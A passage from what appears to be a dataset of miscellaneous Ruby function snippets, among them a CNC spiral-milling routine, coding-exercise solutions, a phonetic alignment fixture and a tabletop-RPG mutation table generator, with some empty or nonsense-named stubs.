delta_radius = max_radius - min_radius\r\n \r\n if (depth == nil)\r\n depth = mill.cut_depth\r\n end #if\r\n\r\n # have to allow bit radius on\r\n # both sides of the cutting tool\r\n # for cutting tool compensation\r\n\r\n adjusted_channel_width = channel_width - mill.bit_radius\r\n if adjusted_channel_width < mill.bit_diam\r\n # our channel can not be less than\r\n # one bit thick\r\n adjusted_channel_width = mill.bit_diam\r\n end #if\r\n\r\n channel_start_max_radius = (min_radius + channel_width) - mill.bit_radius\r\n\r\n no_passes = (adjusted_channel_width / cut_inc) + 1.0\r\n usage_per_circle = (channel_width + wall_thick) * 1.05\r\n increase_per_degree = usage_per_circle / 360\r\n\r\n #print \"(mill_spiral no_passes=\", no_passes, \" usage_per_circle = \", usage_per_circle, \" increase per degree=\", increase_per_degree, \" min_radius=\", min_radius, \" max_radius=\", max_radius, \" cut_inc = \", cut_inc,\" tool adjusted channel_width=\", adjusted_channel_width, \")\\n\"\r\n\r\n pass_beg_radius = min_radius + mill.bit_radius\r\n pass_max_radius = (max_radius - channel_width) + mill.bit_radius\r\n\r\n\r\n\r\n passcnt = 0\r\n while (true)\r\n # one pass here for each width\r\n # of the bit we need to make\r\n curr_radius = pass_beg_radius\r\n deg = 0.0\r\n\r\n # Move the head to start of the spiral\r\n mill.retract()\r\n first_point = calc_point_from_angle(cent_x, cent_y, deg, curr_radius)\r\n mill.move(first_point.x, first_point.y)\r\n mill.plung(depth)\r\n\r\n while curr_radius <= pass_max_radius\r\n # mill a single pass of the \r\n # spiral\r\n aPoint = calc_point_from_angle(cent_x, cent_y, deg, curr_radius)\r\n mill.move(aPoint.x, aPoint.y)\r\n curr_radius += increase_per_degree\r\n deg += 1.0\r\n if (deg >= 360)\r\n deg = 0\r\n end #if\r\n\r\n end #while\r\n if (pass_beg_radius >= channel_start_max_radius)\r\n # our last pass was our final\r\n # for the specified channel width\r\n break\r\n elsif (pass_beg_radius + cut_inc) > channel_start_max_radius\r\n # one more cut increment will put us over the\r\n # the max channel width so we adjust the cut_inc\r\n # down so the last pass takes off just enough\r\n cut_inc = channel_start_max_radius - pass_beg_radius\r\n end #if\r\n pass_beg_radius += cut_inc\r\n pass_max_radius += cut_inc\r\n end # for\r\nend","def mutate_ugcid(_)\n (ALPHABET.sample(6) + DIGITS.sample(4)).join\n end","def square(cuadrado)\n 2**(cuadrado - 1)\n end","def bomberMan(n, a, r, c)\n n.even? ? r.times.map {'O'* c } : ( n == 1 ? a : (n % 4 == 1 ? detonate(detonate(a)) : detonate(a)) )\nend","def special_pythag_trip(target_sum)\n\ta = 1\n\tb = 1\n\tfor a in (1..target_sum) do\n\t\tfor b in (1..target_sum) do\n\t\t\t#puts \"a : #{a}\"\n\t\t\t#puts \"b : #{b}\"\n\t\t\tsum_of_squares = a*a + b*b\n\t\t\tc = Math.sqrt(sum_of_squares).to_i\n\t\t\t\n\t\t\tif c*c == sum_of_squares\n\t\t\t\ttriple = [a,b,c] \n\t\t\t\tsum = triple.inject(0) {|sum,num| sum + num}\n\t\t\t\t\n\t\t\t\treturn triple[0]*triple[1]*triple[2] if sum == target_sum\n\t\t\tend\n\t\t\t\n\t\tend\n\t\n\tend\nend","def vogal(str)\n vogals = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n cons = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n# splitting the string given into arrays \n str = str.chars\n str_new = str.map do |char|\n#looping the string into the next letter\n if vogals.include?(char)\n vogals.rotate(1)[vogals.index(char)]\n else cons.include?(char)\n cons.rotate(1)[cons.index(char)]\n end\n end\n#joining the strings back\n str_new.join\nend","def palabras\n end","def wreathmaking(squilla, noncarbonate_tilly, angionosis_parvolin)\n prealarm_plaidie_premolar(philofelist, unacceptableness_printless)\n suzan()\n end","def pirates_say_arrrrrrrrr(string)\n characters = \"\"\n add_letter = false\n string.length.times do |index|\n current = string[index]\n characters << current if add_letter\n add_letter = (current == 'r' || current == 'R')\n end\n characters\nend","def q(a);a.permutation;end","def pirates_say_arrrrrrrrr(string)\n to_return = \"\"\n add_next = false\n string.size.times do |index|\n current_char = string[index, 1] # kindly enough, Josh Cheek put in a comment\n# explainging the above line, that the second param tells Ruby to get a string of\n# length 1, which is only necessary on version 1.8 and if you're on 1.9 and above\n# that you should just go with string[index]. This makes me wonder about the \n# value this tutorial offers, just saying.\n to_return << current_char if add_next\n add_next = (current_char == \"r\" || current_char == \"R\")\n end\n to_return\nend","def happy_unhappy_unhappiness\n # The distance between 'i' and 'y' is 0.5. The distance between and two\n # other non-equal phone pairs is 1. This ensures that 'i' and 'y' will tend\n # align with each other.\n happy_unhappy_phones =<<-EOTEXT\n FORM, LETTER, CLASS\n i, i, iy\n y, y, iy\n a, a, a\n e, e, e\n h, h, h\n n, n, n\n p, p, p\n s, s, s\n u, u, u\n EOTEXT\n phone_table = PhoneticAlign::PhoneTable.new(happy_unhappy_phones)\n # Phonetic sequences\n # Meanings\n un_meaning = PhoneticAlign::FeatureValueMatrix[:POL => :neg]\n happy_meaning = PhoneticAlign::FeatureValueMatrix[:LEMMA => :happy]\n ness_meaning = PhoneticAlign::FeatureValueMatrix[:POS => :noun]\n # Morphemes\n un_morph = PhoneticAlign::SurfaceMorpheme.new(un_meaning, phone_table.phone_sequence(\"un\"))\n happy_morph = PhoneticAlign::SurfaceMorpheme.new(happy_meaning, phone_table.phone_sequence(\"happy\"))\n happy_happi_morph = PhoneticAlign::SurfaceMorpheme.new(happy_meaning, phone_table.phone_sequence(\"happi\"), \n [phone_table.phone_sequence(\"happy\"),\n phone_table.phone_sequence(\"happi\")])\n ness_morph = PhoneticAlign::SurfaceMorpheme.new(ness_meaning, phone_table.phone_sequence(\"ness\"))\n # Words consisting of all phones.\n happy_p = PhoneticAlign::Word.new(phone_table.phone_sequence(\"happy\"), happy_meaning)\n unhappy_p = PhoneticAlign::Word.new(phone_table.phone_sequence(\"unhappy\"), un_meaning + happy_meaning)\n unhappiness_p = PhoneticAlign::Word.new(phone_table.phone_sequence(\"unhappiness\"), un_meaning + happy_meaning + ness_meaning)\n # Words consisting of phones and morphemes.\n unhappy_pm = PhoneticAlign::Word.new([un_morph] + phone_table.phone_sequence(\"happy\"), un_meaning + happy_meaning)\n # Words consisting of all morphemes\n happy_m = PhoneticAlign::Word.new([happy_morph], happy_meaning)\n unhappy_m = PhoneticAlign::Word.new([un_morph, happy_morph], un_meaning + happy_meaning)\n happy_happi_ness_m = PhoneticAlign::Word.new([happy_happi_morph, ness_morph], happy_meaning)\n unhappy_happi_ness_m = PhoneticAlign::Word.new([un_morph, happy_happi_morph, ness_morph], un_meaning + happy_meaning + ness_meaning)\n return Struct.new(:phone_table,\n :happy_p, :unhappy_p, :unhappiness_p,\n :unhappy_pm,\n :happy_m, :unhappy_m, :happy_happi_ness_m, :unhappy_happi_ness_m,\n :un_meaning, :happy_meaning, :ness_meaning).new(\n phone_table,\n happy_p, unhappy_p, unhappiness_p,\n unhappy_pm,\n happy_m, unhappy_m, happy_happi_ness_m, unhappy_happi_ness_m,\n un_meaning, happy_meaning, ness_meaning)\nend"],"string":"[\n \"def anchored; end\",\n \"def superweening_adorningly(counterstand_pyrenomycetales)\\n end\",\n \"def wtfpyra (a)\\n\\t\\tfullpyra (a)\\n\\t\\treversefullpyra (a)\\n\\tend\",\n \"def pal_per(input)\\n counts = count_chars(input)\\n if input.length % 2 == 0\\n even_pal_per(counts)\\n else\\n odd_pal_per(counts)\\n end\\nend\",\n \"def rule_3 *cards\\n if cards.all?(&:face?)\\n puts \\\"Upping the anti! #{cards.map(&:face?)}\\\"\\n cards.raw_integer_value + 50\\n end\\n end\",\n \"def emotional_adjective; end\",\n \"def two_opt(shake)\\n perm = Array.new(shake)\\n c1, c2 = rand(perm.size), rand(perm.size)\\n collection = [c1]\\n collection << ((c1 == 0 ? perm.size - 1 : c1 - 1))\\n collection << ((c1 == perm.size - 1) ? 0 : c1 + 1)\\n c2 = rand(perm.size) while collection.include? (c2)\\n c1, c2 = c2, c1 if c2 < c1\\n # +++ reverses in range\\n perm[c1...c2] = perm[c1...c2].reverse\\n perm\\n end\",\n \"def silly_adjective; end\",\n \"def difficultly(qoph_ridding, fadedness_santalaceae)\\n biopsychologist_hamidian_tachardiinae()\\n inigo()\\n huddock_konde(phrenitic, mistake, condurango_cymoscope)\\n end\",\n \"def king_richard_iii; end\",\n \"def nonstriker_perimartium(pronunciation_crotched)\\n end\",\n \"def is_palindrome_permutation()\\n puts \\\"not implemented\\\"\\nend\",\n \"def new_bathroom_code(input)\\n wonky_number_pad = {\\n 1 => [2, 2],\\n 2 => [1, 1],\\n 3 => [2, 1],\\n 4 => [3, 1],\\n 5 => [0, 0],\\n 6 => [1, 0],\\n 7 => [2, 0],\\n 8 => [3, 0],\\n 9 => [4, 0],\\n \\\"A\\\" => [1, -1],\\n \\\"B\\\" => [2, -1],\\n \\\"C\\\" => [3, -1],\\n \\\"D\\\" => [2, -2]\\n }\\n new_code = []\\n x, y = [0, 0]\\n input.each do |button|\\n button.each_char do |char|\\n if char == \\\"U\\\" && y < 1 && x != 0 && x != 4\\n y += 1\\n elsif char == \\\"U\\\" && y < 2 && x == 2\\n y += 1\\n elsif char == \\\"D\\\" && y > -1 && x > 0 && x < 4\\n y -= 1\\n elsif char == \\\"D\\\" && (y > -2 && x == 2)\\n y -= 1\\n elsif char == \\\"R\\\" && x < 3 && y != 2 && y != -2\\n x += 1\\n elsif char == \\\"R\\\" && (x < 4 && y == 0)\\n x += 1\\n elsif char == \\\"L\\\" && x > 1 && y != 2 && y != -2\\n x -= 1\\n elsif char == \\\"L\\\" && (x > 0 && y == 0)\\n x -= 1\\n end\\n end\\n new_code << wonky_number_pad.key([x, y])\\n end\\n new_code.join\\nend\",\n \"def diaphony_choriambize()\\n symbranch(constrictive, ither)\\n end\",\n \"def take_bath\\n self.hygiene += 4\\n return \\\"♪ Rub-a-dub just relaxing in the tub ♫\\\"\\n @hygiene\\n end\",\n \"def point_mutation(bitstring, rate=1.0/bitstring.size)\\n # print \\\"*\\\"\\t\\t# YKY added\\n child = \\\"\\\"\\n bitstring.size.times do |i|\\n bit = bitstring[i].chr\\n child << ((rand() < rate) ? ((bit=='1') ? \\\"0\\\" : \\\"1\\\") : bit)\\n end\\n return child\\nend\",\n \"def primordial; end\",\n \"def permute_word(word)\\n word2 = word.clone\\n if word.length > 3\\n p = crp(word.length - 2, 1)\\n 1.upto(word.length - 2) {|i| word2[p[i]] = word[i]}\\n end\\n word2\\nend\",\n \"def take_bath\\n self.hygiene += 4\\n return \\\"♪ Rub-a-dub just relaxing in the tub ♫\\\"\\n end\",\n \"def take_bath\\n self.hygiene += 4\\n return \\\"♪ Rub-a-dub just relaxing in the tub ♫\\\"\\n end\",\n \"def p_burglary\\n flip(0.001, :B, :notB)\\nend\",\n \"def pirates_say_arrrrrrrrr(string)\\n new_string = \\\"\\\"\\n add_next = false\\n string.size.times do |index|\\n char = string[index]\\n new_string << char if add_next\\n add_next = (char == \\\"r\\\" || char == \\\"R\\\")\\n end\\n new_string\\n\\n\\nend\",\n \"def pikapika\\n puts \\\"▕▔╲┊┊┊┊┊┊┊╱▔▏┊┊┊\\\".colorize(:yellow)\\n puts \\\"┊╲╱╲┊┊┊┊┊╱╲╱┊┊┊┊\\\".colorize(:yellow)\\n puts \\\"┊┊╲┈╲▂▂▂╱┈╱┊┊┊╱╲\\\".colorize(:yellow)\\n puts \\\"┊┊╱┈┈┈┈┈┈┈╲┊┊╱┈┈╲\\\".colorize(:yellow)\\n puts \\\"┊┊▏▕▆▍▂▕▆▍▕┊╱┈┈┈╱\\\".colorize(:yellow)\\n puts \\\"┊▕╭╮┈┳┻┳┈╭╮▏╲┈┈╱\\\".colorize(:yellow)\\n puts \\\"┊┊╲╯┈╰━╯┈╰╱┊╱┈┈╲\\\".colorize(:yellow)\\n puts \\\"┊┊╱┈┈┈┈┈┈┈╲┊╲┈┈┈╲\\\".colorize(:yellow)\\n puts \\\"┊▕╲┈▕┈┈┈▏┈╱▏┊╱┈╱\\\".colorize(:yellow)\\n puts \\\"┊▕┈▔▔┈┈┈▔▔┈▏╱┈╱┊\\\".colorize(:yellow)\\n puts \\\"┊▕┈┈┈┈┈┈┈┈▕▔┈╱┊┊\\\".colorize(:yellow)\\n puts \\\"┈┈╲┈┈┈┈┈┈┈╱▔▔┈┈┈\\\".colorize(:yellow)\\n puts \\\"┈┈▕▂╱▔▔▔╲▂▏┈┈┈┈┈\\\".colorize(:yellow)\\n #art from: http://textart4u.blogspot.com/2012/04/pikachu-text-art-ascii-art.html\\nend\",\n \"def fly_by(lamps, drone)\\n # Good luck\\n out = ''\\n switched = drone.length\\n diff = lamps.length - drone.length\\n\\n switched.times do \\n out += 'o'\\n end\\n\\n diff.times do \\n out += 'x'\\n end\\n\\n out\\nend\",\n \"def prime_mutation_determination(roll)\\n case roll\\n when 1..9\\n @@primary_mutations << \\\"Acid Blood\\\"\\n @@attacks << {:attack_mode => \\\"Acid blood spray\\\", :SV => 20, :rate => 1, :range => 2, :damage => \\\"d12\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"60\\\", :notes => \\\"automatic on melee or point-blank puncturing attack\\\"}\\n\\n when 10..20\\n @@primary_mutations << \\\"Acid Spit\\\"\\n @@attacks << {:attack_mode => \\\"Acid Spit\\\", :SV => 6, :rate => 1, :range => 6, :damage => \\\"d6 + 2 per dround for d6 rounds\\\", :ammo => \\\"2/day\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"60\\\", :notes => \\\"does same damage to ropes, bars, locks, etc.\\\"}\\n when 21..32\\n @@primary_mutations << \\\"Advanced Mind\\\"\\n @@intelligence += (d(10 + d(10) + d(10)))\\n @@character_notes << \\\"character gains two hazard checks against insanity and mental attacks that require hazard checks\\\"\\n\\n when 33..36\\n @@primary_mutations << \\\"Agony Sphere\\\"\\n @@attacks << {:attack_mode => \\\"Agony Sphere\\\", :SV => \\\"auto\\\", :rate => 1, :range => (@@willpower/2), :damage => \\\"d6 + +10DV to targets\\\", :ammo => \\\"1/day per user rank\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"60\\\", :notes => \\\"requires 3 full rounds of concentration to unleash; can be sustained for 1 rd/willpower point\\\"}\\n\\n when 37..44\\n @@primary_mutations << \\\"Amphibian\\\"\\n @@character_notes << \\\"Can breathe as well in water as air\\\"\\n @@character_notes << \\\"Suffers d3 dmg per day in arid environments\\\"\\n\\n when 45..52\\n @@primary_mutations << \\\"Amplification\\\"\\n @@character_notes << \\\"Doubles daily/rank-based rate of limited-use mutations\\\"\\n\\n when 53..59\\n @@primary_mutations << \\\"Aquatic Adaptation\\\"\\n @@character_notes << \\\"Webbed hands and feet\\\"\\n @@character_notes << \\\"Withstands cold 2x vs. humans\\\"\\n @@character_notes << \\\"Must be fully immersed in water 1hr per day or suffer d3 dmg; d6 in desert areas\\\"\\n\\n when 60..71\\n @@primary_mutations << \\\"Arid Adaptation\\\"\\n @@dv -= 3\\n @@appearance = [@@appearance - d(8), 1].max\\n @@character_notes << \\\"Needs 1/10th as much water as pure stock human\\\"\\n @@character_notes << \\\"Specialized organ holds 2 liters drinking water (can yak up in 250 or 500ml portions)\\\"\\n\\n when 72..79\\n @@primary_mutations << \\\"Asphyxiation Zone\\\"\\n @@attacks << {:attack_mode => \\\"Asphyxiation Zone\\\", :SV => \\\"auto\\\", :rate => 1, :range => (@@willpower * 2), :damage => \\\"d10\\\", :ammo => \\\"2/day per user rank\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"61\\\", :notes => \\\"lasts 2 rounds per rank\\\"}\\n\\n when 80..89\\n @@primary_mutations << \\\"Aura of Protection\\\"\\n @@character_notes << \\\"2 uses / rank / day; DV -10 + 10 pt force field dmg soak per round; duration willpower rounds; 2 rounds to activate\\\"\\n\\n when 90..102\\n @@primary_mutations << \\\"Ballistic Hide\\\"\\n @@dv -= 4\\n @@appearance = [@@appearance - d(4), 1].max\\n @@character_notes << \\\"Additional -20DV vs. blunt/crushing attacks including non-AP bullets\\\"\\n\\n when 103..109\\n @@primary_mutations << \\\"Beak\\\"\\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\\n @@attacks << {:attack_mode => \\\"Beak\\\", :SV => 10, :rate => 1, :range => 1, :damage => \\\"d12\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"61\\\", :notes => \\\"\\\"}\\n @@character_notes << \\\"Character cannot speak clearly\\\"\\n\\n when 110..127\\n @@primary_mutations << \\\"Beam Eyes\\\"\\n @@attacks << {:attack_mode => \\\"Beam Eyes\\\", :SV => 15, :rate => 1, :range => (@@willpower + @@perception), :damage => \\\"10 + d6/rank\\\", :ammo => \\\"2 / rank / day\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"61\\\", :notes => \\\"\\\"}\\n\\n when 128..134\\n @@primary_mutations << \\\"Berserker Rage\\\"\\n @@character_notes << \\\"Berserker Rage: 2/day/rank usage; duration 1 battle; -5DV, +10SV, +10dmg (melee weapons only); +20 strength; can fight on for d6 rounds after suffering fatal damage\\\"\\n when 135..144\\n @@primary_mutations << \\\"Bladed Limbs\\\"\\n def bladed_limbs_location(roll)\\n case roll\\n when 1 then result = \\\"Shoulder\\\"\\n when 2 then result = \\\"Back\\\"\\n when 3 then result = \\\"Chest\\\"\\n when 4 then result = \\\"Side\\\"\\n when 5 then result = \\\"Hip\\\"\\n when 6 then result = \\\"Abdomen\\\"\\n end\\n end\\n\\n d(4).times do\\n bladed_limbs_location(d(6))\\n @@character_notes << \\\"Sword-like bone blade protruding from #{result}\\\"\\n @@appearance = [@@appearance - 2, 1].max\\n @@character_weight += 5\\n end\\n\\n @@attacks << {:attack_mode => \\\"Bladed limb(s)\\\", :SV => 5, :rate => \\\"1 per bladed limb\\\", :range => 0, :damage => \\\"d12 + 2\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"62\\\", :notes => \\\"\\\"}\\n\\n\\n when 145..149\\n @@primary_mutations << \\\"Blurred Movement\\\"\\n @@character_notes << \\\"Blurred Movement: -20DV; willpower rounds/day; can be used to blur entire body or only parts\\\"\\n\\n when 150..179\\n @@character_notes << \\\"Due to body disporportion, no relic shell armor can be worn, but other types can be modified to fit\\\"\\n def body_disproportion_location(roll)\\n case roll\\n when 1\\n @@primary_mutations << \\\"Body Disproportion: Dominant arm is massive!\\\"\\n @@character_notes << \\\"Dominant arm has strength of #{(@@strength + @@strength + d(20) + d(20))} which applies to all 1- and 2-handed melee weapons character wields\\\"\\n @@appearance = [@@appearance - d(4), 1].max\\n @@move -= 0.5\\n @@character_weight += (20 + d(20))\\n when 2\\n @@primary_mutations << \\\"Body Disproportion: Character's head is massive!\\\"\\n @@intelligence += (d(20) + 20)\\n @@move -= 1\\n @@appearance = [@@appearance - (d(4) + d(4)), 1].max\\n @@character_notes << \\\"TWO intelligence-based hazard checks, when called for\\\"\\n @@character_weight += (20 + d(10))\\n when 3\\n @@primary_mutations << \\\"Body Disproportion: Upper body incredibly over-muscled!\\\"\\n @@strength += (20 + d(20))\\n @@endurance += (20 + d(20))\\n @@move -= 1\\n @@agility = [@@agility - d(10), 1].max\\n @@appearance = [@@appearance - (d(4) + d(4)), 1].max\\n @@character_weight += (20 + d(20) + d(20))\\n when 4\\n @@primary_mutations << \\\"Body Disproportion: hips and legs are twice normal length!\\\"\\n @@move += @@move\\n @@character_height += 100\\n @@appearance = [@@appearance - d(4), 1].max\\n @@attacks << {:attack_mode => \\\"Wicked kick\\\", :SV => 0, :rate => \\\"1\\\", :range => 0, :damage => \\\"2d10\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"62\\\", :notes => \\\"\\\"}\\n @@character_weight += (30 + d(20) + d(20))\\n when 5\\n @@primary_mutations << \\\"Body Disproportion: comically giant hands and feet!\\\"\\n @@attacks << {:attack_mode => \\\"Punch or kick\\\", :SV => 0, :rate => \\\"1\\\", :range => 0, :damage => \\\"2d12\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"62\\\", :notes => \\\"\\\"}\\n @@character_notes << \\\"Weapons with triggers, keyboards, or other items requiring normal human hands are unusable without modifying item.\\\"\\n @@appearance = [@@appearance - (d(6) + 1), 1].max\\n @@character_weight += (d(6) + d(6) + d(6) + d(6))\\n when 6\\n @@primary_mutations << \\\"Body Disproportion: extra long arms!\\\"\\n @@character_notes << \\\"+5 SV in melee combat\\\"\\n @@character_notes << \\\"+5 thrown weapon DMG\\\"\\n @@appearance = [@@appearance - (d(4) + 1), 1].max\\n when 7\\n @@primary_mutations << \\\"Body Disproportion: greatly elongated torso!\\\"\\n @@character_notes << \\\"If pregnant, gives birth to a litter of d4 + 1 offspring.\\\"\\n @@endurance += (d(10) + d(10))\\n @@appearance = [@@appearance - d(6), 1].max\\n @@character_height += (20 + d(20))\\n @@character_weight += (10 + d(20))\\n def elongated_torso_bonus(roll1, roll2, roll3, roll4) # need to add actual mutation results via primary_mutations_roll(xx)\\n case roll1\\n when 1..50\\n @@primary_mutations << \\\"Reserve heart\\\"\\n end\\n case roll2\\n when 1..65\\n @@primary_mutations << \\\"Radiation absorption\\\"\\n end\\n case roll3\\n when 1..37\\n @@primary_mutations << \\\"Breath holding\\\"\\n end\\n case roll4\\n when 1..72\\n @@primary_mutations << \\\"Nutriment cache\\\"\\n end\\n\\n end\\n elongated_torso_bonus(d(100),d(100),d(100),d(100))\\n when 8\\n 2.times do\\n elongated_torso_bonus(d(7))\\n end\\n end\\n\\n end\\n body_disproportion_location(d(8))\\n\\n when 180..195\\n def body_regeneration_rate(roll)\\n case roll\\n when 1..12\\n @@endurance_healing_rate += 4\\n when 13..32\\n @@endurance_healing_rate += 7\\n when 33..40\\n @@endurance_healing_rate += 10\\n when 41..64\\n @@endurance_healing_rate = 15\\n when 65..87\\n @@endurance_healing_rate = \\\"1 pt per hour\\\"\\n when 88..93\\n @@endurance_healing_rate = \\\"2 pts per hour\\\"\\n when 94..96\\n @@endurance_healing_rate = \\\"4 pts per hour\\\"\\n when 97..98\\n @@endurance_healing_rate = \\\"6 pts per hour\\\"\\n when 99\\n @@endurance_healing_rate = \\\"10 pts per hour\\\"\\n when 100\\n @@endurance_healing_rate = \\\"1 pt per round\\\"\\n end\\n end\\n body_regeneration_rate(d(100))\\n @@primary_mutations << \\\"Body Regeneration: #{@@endurance_healing_rate} healing rate bonus\\\"\\n\\n when 196..201\\n @@primary_mutations << \\\"Breath Holding: triple base endurance rate + regular breath holding rate (Hub Rules p. 122)\\\"\\n when 202..224\\n @@primary_mutations << \\\"Claws: don’t hinder her from using bows, crossbows, or weapons that use a trigger, but disallow her from using keyboards or doing fne electronics work\\\"\\n @@attacks << {:attack_mode => \\\"Claw\\\", :SV => 7, :rate => \\\"1 per hand\\\", :range => 0, :damage => \\\"d12 each\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"62-63\\\", :notes => \\\"\\\"}\\n @@character_notes << \\\"Thanks to claws, character climbs as though she has 2 points in Climbing skill\\\"\\n when 225..230\\n @@primary_mutations << \\\"Climbing Suckers: like a gecko, character can climb on anything at 1/2 move\\\"\\n @@character_notes << \\\"When falling, type A agility based hazard check to catch side of building/pit and stop fall\\\"\\n when 231..239\\n @@primary_mutations << \\\"Coma Inducement\\\"\\n @@attacks << {:attack_mode => \\\"Coma inducement\\\", :SV => 0, :rate => \\\"\\\", :range => @@willpower + @@willpower, :damage => \\\"coma\\\", :ammo => \\\"2/day/rank\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"63\\\", :notes => \\\"victim gets tybe B willpower based hazard check; see p. 63 for details\\\"}\\n when 240..253\\n number_of_pincers = 0\\n arms_too = \\\"True\\\"\\n pincer_size = \\\"Small\\\"\\n def pincer_formation_on_mutant(roll)\\n case roll\\n when 1..2\\n @@primary_mutations << \\\"Crab Pincers: 1 pincer replacing 1 arm\\\"\\n number_of_pincers += 1\\n @@character_weight -= 15\\n when 3..6\\n @@primary_mutations << \\\"Crab Pincers: 2 pincers replacing both human arms\\\"\\n number_of_pincers += 2\\n @@character_weight -= 30\\n when 7\\n @@primary_mutations << \\\"Crab Pincers: 1 pincer growing from shoulder, both human arms intact\\\"\\n number_of_pincers += 1\\n when 8..9\\n @@primary_mutations << \\\"Crab Pincers: 2 pincers in addition to human arms\\\"\\n number_of_pincers += 2\\n when 10\\n number_of_pincers = (2 + d(2))\\n def arms_too(roll)\\n case roll\\n when 79..100\\n arms_too = \\\"False\\\"\\n @@character_weight -= 30\\n end\\n end\\n @@primary_mutations << \\\"Crab Pincers: #{number_of_pincers} total\\\"\\n arms_too(d(100))\\n end\\n end\\n def pincer_size(roll)\\n case roll\\n when 1..3\\n pincer_size = \\\"Small\\\"\\n @@character_weight += (number_of_pincers * 15)\\n @@attacks << {:attack_mode => \\\"Pincer\\\", :SV => 2, :rate => \\\"#{number_of_pincers}\\\", :range => 0, :damage => \\\"d10 + 1\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"63\\\", :notes => \\\"\\\"}\\n when 4..6\\n pincer_size = \\\"Medium\\\"\\n @@movement_rate_base -= (0.25 * number_of_pincers)\\n @@character_weight += (number_of_pincers * 20)\\n @@attacks << {:attack_mode => \\\"Pincer\\\", :SV => 4, :rate => \\\"#{number_of_pincers}\\\", :range => 0, :damage => \\\"d12 + 3\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"63\\\", :notes => \\\"\\\"}\\n when 7..9\\n pincer_size = \\\"Large\\\"\\n @@movement_rate_base -= (0.5 * number_of_pincers)\\n @@character_weight += (number_of_pincers * 35)\\n @@attacks << {:attack_mode => \\\"Pincer\\\", :SV => 7, :rate => \\\"#{number_of_pincers}\\\", :range => 0, :damage => \\\"d20 + 3\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"63\\\", :notes => \\\"\\\"}\\n when 10\\n pincer_size = \\\"Massive\\\"\\n @@movement_rate_base -= (0.75 * number_of_pincers)\\n @@character_weight += (number_of_pincers * 50)\\n @@attacks << {:attack_mode => \\\"Pincer\\\", :SV => 10, :rate => \\\"#{number_of_pincers}\\\", :range => 0, :damage => \\\"d20 + 10\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"63\\\", :notes => \\\"\\\"}\\n end\\n end\\n\\n pincer_formation_on_mutant(d(10))\\n pincer_size(d(10))\\n @@primary_mutations << \\\"Pincers: #{number_of_pincers} of #{pincer_size} size\\\"\\n if arms_too == \\\"False\\\"\\n @@appearance = [@@appearance - (number_of_pincers * d(4) + 2), 1].max\\n @@character_notes << \\\"No human arms - character cannot use triggers, keyboards, or complex items\\\"\\n elsif arms_too == \\\"True\\\"\\n @@appearance = [@@appearance - (number_of_pincers * d(4)), 1].max\\n end\\n\\n\\n when 254..292\\n def deviant_skin_structure(roll)\\n case roll\\n when 1..3\\n @@primary_mutations << \\\"Fire-proof skin\\\"\\n @@character_notes << \\\"No damage from fire for 10 rounds; 1/2 damage after\\\"\\n @@character_notes << \\\"1/2 damage from explosions\\\"\\n when 4..5\\n @@primary_mutations << \\\"Reflective skin\\\"\\n @@character_notes << \\\"1/2 damage from beam weapons when clothed; 70 percent resistance to beam weapons vs. bare skin\\\"\\n @@appearance += d(6)\\n when 6..7\\n @@primary_mutations << \\\"Alkaline skin\\\"\\n @@character_notes << \\\"Character totally immune to acid attacks (which still ruin character's gear)\\\"\\n when 8..10\\n @@primary_mutations << \\\"Weather sensitive skin\\\"\\n @@character_notes << \\\"Sense weather changes in 20km radius; can sense open bodies of water within 2 km\\\"\\n when 11\\n @@primary_mutations << \\\"Glow in the dark skin\\\"\\n @@character_notes << \\\"3m radius green glow; visible up to 12km away - character can't turn off glow\\\"\\n when 12\\n @@primary_mutations << \\\"Photosynthetic skin\\\"\\n @@character_notes << \\\"4 hrs in sunlight = 1 meal; 1 hr in sunlight = 3 pts healing (in addition to normal resting healing)\\\"\\n end\\n end\\n deviant_skin_structure(d(12))\\n\\n when 293..298\\n @@primary_mutations << \\\"Devastator Pulse\\\"\\n @@attacks << {:attack_mode => \\\"Devastator Pulse\\\", :SV => (@@accuracy + @@willpower), :rate => \\\"4 rounds to charge, release on 5th\\\", :range => @@willpower, :damage => \\\"3d20 / d100 + 40 vs. machines\\\", :ammo => \\\"1/rank/day\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"64\\\", :notes => \\\"\\\"}\\n\\n when 299..300\\n @@primary_mutations << \\\"Displacement\\\"\\n @@character_notes << \\\"Displacement: #{@@willpower} rounds per day, DV -30\\\"\\n when 301..305\\n @@primary_mutations << \\\"Doom Sphere\\\"\\n @@attacks << {:attack_mode => \\\"Doom Sphere\\\", :SV => \\\"01-95\\\", :rate => \\\"1/10 days\\\", :range => (@@willpower * 